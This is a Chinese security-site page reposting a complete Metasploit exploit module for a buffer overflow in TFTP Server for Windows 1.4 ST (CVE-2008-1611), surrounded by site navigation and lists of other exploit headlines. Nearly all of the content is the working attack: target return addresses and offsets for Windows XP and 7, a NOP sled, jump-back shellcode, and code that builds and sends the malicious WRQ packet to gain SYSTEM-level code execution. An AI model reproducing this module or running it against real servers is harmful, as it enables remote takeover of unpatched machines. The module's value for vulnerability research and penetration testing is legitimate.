首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TFTP Server for Windows 1.4 ST WRQ Buffer Overflow
来源:http://www.metasploit.com 作者:Datacut 发布时间:2012-04-23  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = NormalRanking
 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow',
   'Description'     => %q{
     This module exploits a vulnerability found in TFTP Server 1.4 ST.  The flaw
    is due to the way TFTP handles the filename parameter extracted from a WRQ request.
    The server will append the user-supplied filename to TFTP server binary's path
    without any bounds checking, and then attempt to open this with a fopen(). Since
    this isn't a valid file path, fopen() returns null, which allows the corrupted
    data to be used in a strcmp() function, causing an access violation.

    Since the offset is sensitive to how the TFTP server is launched, you must know
    in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'
    , and then manually select your target accordingly. A successful attempt will lead
    to remote code execution under the context of SYSTEM if run as a service, or
    the user if run as a standalone. A failed attempt will result a denial-of-service.
   },
   'Author'          =>
    [
     'Mati Aharoni', #Initial discovery, PoC
     'Datacut'       #Metasploit
    ],
   'References'      =>
    [
     [ 'CVE', '2008-1611' ],
     [ 'OSVDB', '43785' ],
     [ 'BID', '18345' ],
     [ 'EDB', '5314' ]
    ],
   'DefaultOptions'  =>
    {
     'EXITFUNC' =>'seh',
    },
   'Payload'         =>
    {
     'Space'           => 600,
     'BadChars'        => "\x00\x2f",
     'StackAdjustment' => -3500
    },
   'Platform'        => 'win',
   'Targets'         =>
    [
     # datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.
     # possible may work for other service packs and or vista
     # Rets = P/P/R from tftpserversp.exe
     [ 'Windows XP SP2/SP3 EN Service Mode',       { 'Ret' => 0x416801 , 'Offset' => 1203} ],
     [ 'Windows XP SP2/SP3 EN Standalone Mode',    { 'Ret' => 0x416801 , 'Offset' => 1487} ],
     [ 'Windows 7 SP0/SP1 EN x64 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1217} ],
     [ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1501} ],
     [ 'Windows 7 SP0/SP1 EN x86 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1223} ],
     [ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1507} ]
    ],
   'Privileged' => false,
   'DisclosureDate'=> 'Mar 26 2008',
   'DefaultTarget' => 4))  #TFTP is installed as a service

  register_options(
   [
    Opt::RPORT(69)
   ], self.class)
 end


 def exploit
  connect_udp

  nops = make_nops(50)
  lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)
  near = "\xe9\x80\xfd\xff\xff"    #jump back 640 bytes to the nop sled
  nseh = "\xeb\xf9" + make_nops(2) #jump back 7 bytes to the long jump

  evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')
  mode = "netascii"

  #Send the WRQ packet (header "\x00\x02")
  sploit = "\x00\x02" + evil + "\0" + mode +"\0"

  udp_sock.put(sploit)

  handler
  disconnect_udp
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·xRadio 0.95b Buffer Overflow
·VLC 2.0.1 division by zero vul
·Adobe Flash Player ActionScrip
·OpenSSL ASN1 BIO Memory Corrup
·Owncloud Account Overtake, Fil
·MS11-046 Proof Of Concept
·OpenSSL 1.0.1 Memory Corruptio
·Office 2008 sp0 RTF Pfragments
·OpenSSL 1.0.1 ASN1 BIO Vulnera
·GSM SIM Editor 5.15 Buffer Ove
·Mobipocket Reader 6.2 Build 60
·CyberLink Power2Go name attrib
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved